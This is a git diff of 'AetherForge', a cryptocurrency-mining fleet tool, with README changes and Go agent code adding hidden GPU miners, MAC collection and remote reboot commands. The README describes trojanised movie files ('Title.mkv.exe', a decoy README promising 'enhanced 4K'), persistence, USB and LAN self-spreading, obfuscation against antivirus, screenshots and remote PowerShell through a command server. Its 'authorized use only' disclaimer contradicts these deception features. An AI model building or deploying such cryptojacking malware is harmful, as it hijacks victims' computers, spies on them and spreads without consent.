@@ -281,20 +298,52 @@ crypto miner/
|
|||||||
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
||||||
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
||||||
| GET | `/api/v1/agents` | Fleet list |
|
| GET | `/api/v1/agents` | Fleet list |
|
||||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
|
||||||
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
|
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
|
||||||
|
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
|
||||||
| GET | `/api/v1/alerts` | Active fleet alerts |
|
| GET | `/api/v1/alerts` | Active fleet alerts |
|
||||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
|
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
||||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||||
| WS | `/ws/agent` | Worker connection |
|
| WS | `/ws/agent` | Worker connection |
|
||||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |
|
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
|
||||||
|
|
||||||
Full route list: `server/internal/api/router.go`
|
Full route list: `server/internal/api/router.go`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Manual Build (if you skip devrun.bat)
|
## Cross-Platform Workers
|
||||||
|
|
||||||
|
| OS | CPU miner | GPU miner | Persistence | Install base |
|
||||||
|
|----|-----------|-----------|-------------|--------------|
|
||||||
|
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
|
||||||
|
| Linux | XMRig | — | systemd user service | XDG data home |
|
||||||
|
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
|
||||||
|
|
||||||
|
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Movie Fusion (detailed)
|
||||||
|
|
||||||
|
| Mode | Best for | What you get |
|
||||||
|
|------|----------|----------------|
|
||||||
|
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
|
||||||
|
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||||
|
|
||||||
|
**Paired layout:**
|
||||||
|
|
||||||
|
```
|
||||||
|
fusion-deliverables/Vacation/
|
||||||
|
├── README.txt ← instructs user to run the runner for "enhanced 4K"
|
||||||
|
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner
|
||||||
|
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||||
|
└── Vacation.mkv.lnk ← shortcut → prompts for runner
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Manual Build
|
||||||
|
|
||||||
```bat
|
```bat
|
||||||
cd server\web
|
cd server\web
|
||||||
@@ -311,13 +360,15 @@ cd ..
|
|||||||
bin\miner-server.exe -port 8989 -data .\data
|
bin\miner-server.exe -port 8989 -data .\data
|
||||||
```
|
```
|
||||||
|
|
||||||
Open **http://localhost:8989** and sign in with your configured users.
|
|
||||||
|
|
||||||
### Run the test suite
|
### Run the test suite
|
||||||
|
|
||||||
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
|
```bat
|
||||||
|
test.bat
|
||||||
|
```
|
||||||
|
|
||||||
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
|
Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.
|
||||||
|
|
||||||
|
With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).
|
||||||
|
|
||||||
### Dashboard dev server
|
### Dashboard dev server
|
||||||
|
|
||||||
@@ -326,18 +377,37 @@ cd server\web
|
|||||||
npm run dev
|
npm run dev
|
||||||
```
|
```
|
||||||
|
|
||||||
Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately.
|
Vite proxies `/api` and `/ws` to `localhost:8989`.
|
||||||
|
|
||||||
### Tech stack (dashboard)
|
### Tech stack (dashboard)
|
||||||
|
|
||||||
| Package | Version policy |
|
| Package | Version |
|
||||||
|---------|----------------|
|
|---------|---------|
|
||||||
| React | 18.x |
|
| React | 18.x |
|
||||||
| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) |
|
| `@react-three/fiber` | 8.x |
|
||||||
| `@react-three/drei` | 9.x |
|
| `@react-three/drei` | 9.x |
|
||||||
| Vite | 5.x |
|
| Vite | 5.x |
|
||||||
|
|
||||||
**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling.
|
> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Under the Hood
|
||||||
|
|
||||||
|
- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
|
||||||
|
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
|
||||||
|
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
|
||||||
|
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
|
||||||
|
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
|
||||||
|
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
|
||||||
|
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
|
||||||
|
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
|
||||||
|
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
|
||||||
|
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
|
||||||
|
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
|
||||||
|
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
|
||||||
|
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||||
|
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -345,17 +415,21 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|
|||||||
|
|
||||||
| Symptom | Likely cause | Fix |
|
| Symptom | Likely cause | Fix |
|
||||||
|---------|----------------|-----|
|
|---------|----------------|-----|
|
||||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server |
|
||||||
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
|
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
|
||||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
|
||||||
|
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
|
||||||
|
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
|
||||||
|
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
|
||||||
|
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Known Issues
|
## Known Issues
|
||||||
|
|
||||||
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet.
|
See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -365,34 +439,27 @@ See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers,
|
|||||||
|
|
||||||
### Authorized use only
|
### Authorized use only
|
||||||
|
|
||||||
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources.
|
AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.
|
||||||
|
|
||||||
By using this software you agree that:
|
By using this software you agree that:
|
||||||
|
|
||||||
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
1. **You will only deploy workers on systems you control** or have **written permission** to manage.
|
||||||
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
|
||||||
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
|
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
|
||||||
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
|
||||||
|
|
||||||
### What this is NOT
|
### What this is NOT
|
||||||
|
|
||||||
- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
|
- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
|
||||||
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
|
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
|
||||||
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.
|
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.
|
||||||
|
|
||||||
### Pool & earnings
|
|
||||||
|
|
||||||
- Use a **valid Monero wallet address you control**.
|
|
||||||
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
|
|
||||||
- This project does not guarantee profitability, uptime, or pool compatibility.
|
|
||||||
|
|
||||||
### Security responsibility
|
### Security responsibility
|
||||||
|
|
||||||
- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
|
- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once).
|
||||||
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
|
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
|
||||||
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
|
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
|
||||||
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
|
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.
|
||||||
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
|
|
||||||
|
|
||||||
### Disclaimer
|
### Disclaimer
|
||||||
|
|
||||||
@@ -410,5 +477,5 @@ Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.ga
|
|||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<strong>AetherForge</strong> — LAN MINING COMMAND<br/>
|
<strong>AetherForge</strong> — LAN MINING COMMAND<br/>
|
||||||
<sub>Calibrate · Forge · Deploy · Command</sub>
|
<sub>Calibrate · Forge · Deploy · Spread · Command</sub>
|
||||||
</p>
|
</p>
|
||||||
|
|||||||
BIN
Screenshot 2026-06-01 215139.png
Normal file
BIN
Screenshot 2026-06-01 215139.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 933 KiB |
@@ -39,6 +39,7 @@ type AgentClient struct {
|
|||||||
agentID string
|
agentID string
|
||||||
sharesSubmitted int
|
sharesSubmitted int
|
||||||
sharesAccepted int
|
sharesAccepted int
|
||||||
|
gpuMiner *GPUMiner
|
||||||
|
|
||||||
// connected is true while a C2 WebSocket session is active.
|
// connected is true while a C2 WebSocket session is active.
|
||||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||||
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
|
|||||||
c.pool.Start()
|
c.pool.Start()
|
||||||
defer c.pool.Stop()
|
defer c.pool.Stop()
|
||||||
|
|
||||||
|
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||||
|
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.gpuMiner = gm
|
||||||
|
c.mu.Unlock()
|
||||||
|
gm.Start()
|
||||||
|
defer gm.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
// Start AI Autonomy runner if enabled
|
// Start AI Autonomy runner if enabled
|
||||||
if c.cfg.AIEnabled {
|
if c.cfg.AIEnabled {
|
||||||
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
|
||||||
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func primaryMACAddress() string {
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(iface.HardwareAddr) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return iface.HardwareAddr.String()
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func (c *AgentClient) authenticate() error {
|
func (c *AgentClient) authenticate() error {
|
||||||
host, cores, memGB := c.reporter.SystemInfo()
|
host, cores, memGB := c.reporter.SystemInfo()
|
||||||
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||||
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
|
|||||||
Platform: runtime.GOOS,
|
Platform: runtime.GOOS,
|
||||||
Arch: runtime.GOARCH,
|
Arch: runtime.GOARCH,
|
||||||
OSVersion: deploy.HostOSVersion(),
|
OSVersion: deploy.HostOSVersion(),
|
||||||
|
MacAddress: primaryMACAddress(),
|
||||||
})
|
})
|
||||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
|||||||
log.Printf("[agent] remote uninstall failed: %v", err)
|
log.Printf("[agent] remote uninstall failed: %v", err)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
case "reboot_machine":
|
||||||
|
c.sendCommandResult(action, true, "system reboot initiated")
|
||||||
|
go func() {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
_, _ = c.runShellCommand("shutdown /r /t 0")
|
||||||
|
}()
|
||||||
|
case "shutdown_machine":
|
||||||
|
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||||
|
go func() {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
_, _ = c.runShellCommand("shutdown /s /t 0")
|
||||||
|
}()
|
||||||
case "get_log":
|
case "get_log":
|
||||||
if tailLines <= 0 {
|
if tailLines <= 0 {
|
||||||
tailLines = 300
|
tailLines = 300
|
||||||
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.GPUTempC = lastPressure.GPUTempC
|
stats.GPUTempC = lastPressure.GPUTempC
|
||||||
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
||||||
}
|
}
|
||||||
|
// GPU miner (Ravencoin) stats — included when GPU miner is running
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gs, active := gm.Stats()
|
||||||
|
stats.GPUMinerActive = &active
|
||||||
|
stats.GPUHashrate15s = gs.Hashrate15s
|
||||||
|
stats.GPUHashrate1m = gs.Hashrate1m
|
||||||
|
stats.GPUHashrate15m = gs.Hashrate15m
|
||||||
|
stats.GPUModel = gm.GPUModel()
|
||||||
|
if gs.GPUTempC != nil {
|
||||||
|
stats.GPUTempC = gs.GPUTempC
|
||||||
|
}
|
||||||
|
if gs.GPUUsagePct != nil {
|
||||||
|
stats.GPUUsagePct = gs.GPUUsagePct
|
||||||
|
}
|
||||||
|
}
|
||||||
if postureReady && lastPosture != nil {
|
if postureReady && lastPosture != nil {
|
||||||
score := lastPosture.PostureScore
|
score := lastPosture.PostureScore
|
||||||
stats.PostureScore = &score
|
stats.PostureScore = &score
|
||||||
|
|||||||
110
agent/client/gpu_detect_stub.go
Normal file
110
agent/client/gpu_detect_stub.go
Normal file
@@ -0,0 +1,110 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func detectGPU() GPUInfo {
|
||||||
|
// On non-Windows, only probe NVIDIA via nvidia-smi.
|
||||||
|
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
|
||||||
|
if err == nil {
|
||||||
|
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||||
|
if model != "" {
|
||||||
|
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return GPUInfo{Vendor: GPUVendorNone}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||||
|
pool := g.cfg.RVNPoolHost
|
||||||
|
port := g.cfg.RVNPoolPort
|
||||||
|
wallet := g.cfg.RVNWallet
|
||||||
|
worker := g.cfg.WorkerName
|
||||||
|
|
||||||
|
poolURL := "stratum+tcp://" + pool
|
||||||
|
if g.cfg.RVNPoolTLS {
|
||||||
|
poolURL = "stratum+ssl://" + pool
|
||||||
|
}
|
||||||
|
if port > 0 {
|
||||||
|
poolURL += ":" + itoa(port)
|
||||||
|
}
|
||||||
|
|
||||||
|
args := []string{
|
||||||
|
"-a", "kawpow",
|
||||||
|
"-o", poolURL,
|
||||||
|
"-u", wallet + "." + worker,
|
||||||
|
"-p", g.cfg.RVNPoolPass,
|
||||||
|
"--api-bind-http", "127.0.0.1:4067",
|
||||||
|
}
|
||||||
|
cmd := exec.Command(binPath, args...)
|
||||||
|
cmd.Dir = filepath.Dir(binPath)
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return cmd.Process, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func itoa(n int) string {
|
||||||
|
if n == 0 {
|
||||||
|
return "0"
|
||||||
|
}
|
||||||
|
buf := make([]byte, 0, 10)
|
||||||
|
neg := n < 0
|
||||||
|
if neg {
|
||||||
|
n = -n
|
||||||
|
}
|
||||||
|
for n > 0 {
|
||||||
|
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||||
|
n /= 10
|
||||||
|
}
|
||||||
|
if neg {
|
||||||
|
buf = append([]byte{'-'}, buf...)
|
||||||
|
}
|
||||||
|
return string(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||||
|
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
targetLower := strings.ToLower(targetFile)
|
||||||
|
for _, f := range r.File {
|
||||||
|
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
rc, err := f.Open()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer rc.Close()
|
||||||
|
dst := filepath.Join(destDir, targetFile)
|
||||||
|
out, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
buf := make([]byte, 32*1024)
|
||||||
|
for {
|
||||||
|
n, err := rc.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
if _, we := out.Write(buf[:n]); we != nil {
|
||||||
|
return we
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
166
agent/client/gpu_detect_windows.go
Normal file
166
agent/client/gpu_detect_windows.go
Normal file
@@ -0,0 +1,166 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"archive/zip"
|
||||||
|
"bytes"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
// detectGPU identifies the first supported discrete GPU on Windows.
|
||||||
|
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
|
||||||
|
func detectGPU() GPUInfo {
|
||||||
|
// NVIDIA — nvidia-smi is the most reliable check
|
||||||
|
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
|
||||||
|
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
|
||||||
|
if model != "" {
|
||||||
|
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// AMD — wmic (available on all modern Windows without extra installs)
|
||||||
|
if out, err := deploy.HiddenOutput(
|
||||||
|
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
|
||||||
|
); err == nil {
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if !strings.HasPrefix(strings.ToLower(line), "name=") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
|
||||||
|
lo := strings.ToLower(name)
|
||||||
|
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
|
||||||
|
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return GPUInfo{Vendor: GPUVendorNone}
|
||||||
|
}
|
||||||
|
|
||||||
|
// startProcess launches the GPU miner binary as a hidden background process.
|
||||||
|
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
|
||||||
|
pool := g.cfg.RVNPoolHost
|
||||||
|
port := g.cfg.RVNPoolPort
|
||||||
|
wallet := g.cfg.RVNWallet
|
||||||
|
worker := g.cfg.WorkerName
|
||||||
|
|
||||||
|
var args []string
|
||||||
|
switch g.info.Vendor {
|
||||||
|
case GPUVendorNVIDIA:
|
||||||
|
// T-Rex: kawpow algorithm
|
||||||
|
algo := "kawpow"
|
||||||
|
poolURL := ""
|
||||||
|
if g.cfg.RVNPoolTLS {
|
||||||
|
poolURL = "stratum+ssl://" + pool
|
||||||
|
} else {
|
||||||
|
poolURL = "stratum+tcp://" + pool
|
||||||
|
}
|
||||||
|
args = []string{
|
||||||
|
"-a", algo,
|
||||||
|
"-o", poolURL,
|
||||||
|
"-u", wallet + "." + worker,
|
||||||
|
"-p", g.cfg.RVNPoolPass,
|
||||||
|
"--api-bind-http", "127.0.0.1:4067",
|
||||||
|
"--no-watchdog",
|
||||||
|
"--exit-on-cuda-error",
|
||||||
|
}
|
||||||
|
if port > 0 {
|
||||||
|
args[3] = args[3] + ":" + itoa(port)
|
||||||
|
}
|
||||||
|
case GPUVendorAMD:
|
||||||
|
// TeamRedMiner: kawpow algorithm
|
||||||
|
poolURL := ""
|
||||||
|
if g.cfg.RVNPoolTLS {
|
||||||
|
poolURL = "stratum+ssl://" + pool
|
||||||
|
} else {
|
||||||
|
poolURL = "stratum+tcp://" + pool
|
||||||
|
}
|
||||||
|
if port > 0 {
|
||||||
|
poolURL += ":" + itoa(port)
|
||||||
|
}
|
||||||
|
args = []string{
|
||||||
|
"-a", "kawpow",
|
||||||
|
"-o", poolURL,
|
||||||
|
"-u", wallet + "." + worker,
|
||||||
|
"-p", g.cfg.RVNPoolPass,
|
||||||
|
"--api_listen=4068",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd := exec.Command(binPath, args...)
|
||||||
|
deploy.PrepareHiddenProcess(cmd)
|
||||||
|
cmd.Dir = filepath.Dir(binPath)
|
||||||
|
// Redirect all miner output to NUL (silent)
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return cmd.Process, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func itoa(n int) string {
|
||||||
|
if n == 0 {
|
||||||
|
return "0"
|
||||||
|
}
|
||||||
|
buf := make([]byte, 0, 10)
|
||||||
|
neg := n < 0
|
||||||
|
if neg {
|
||||||
|
n = -n
|
||||||
|
}
|
||||||
|
for n > 0 {
|
||||||
|
buf = append([]byte{byte('0' + n%10)}, buf...)
|
||||||
|
n /= 10
|
||||||
|
}
|
||||||
|
if neg {
|
||||||
|
buf = append([]byte{'-'}, buf...)
|
||||||
|
}
|
||||||
|
return string(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
|
||||||
|
func extractZipFile(data []byte, destDir, targetFile string) error {
|
||||||
|
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
targetLower := strings.ToLower(targetFile)
|
||||||
|
for _, f := range r.File {
|
||||||
|
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
rc, err := f.Open()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer rc.Close()
|
||||||
|
dst := filepath.Join(destDir, targetFile)
|
||||||
|
out, err := os.Create(dst)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
buf := make([]byte, 32*1024)
|
||||||
|
for {
|
||||||
|
n, err := rc.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
if _, we := out.Write(buf[:n]); we != nil {
|
||||||
|
return we
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return nil // binary not found inside zip — non-fatal, caller checks after
|
||||||
|
}
|
||||||
358
agent/client/gpu_miner.go
Normal file
358
agent/client/gpu_miner.go
Normal file
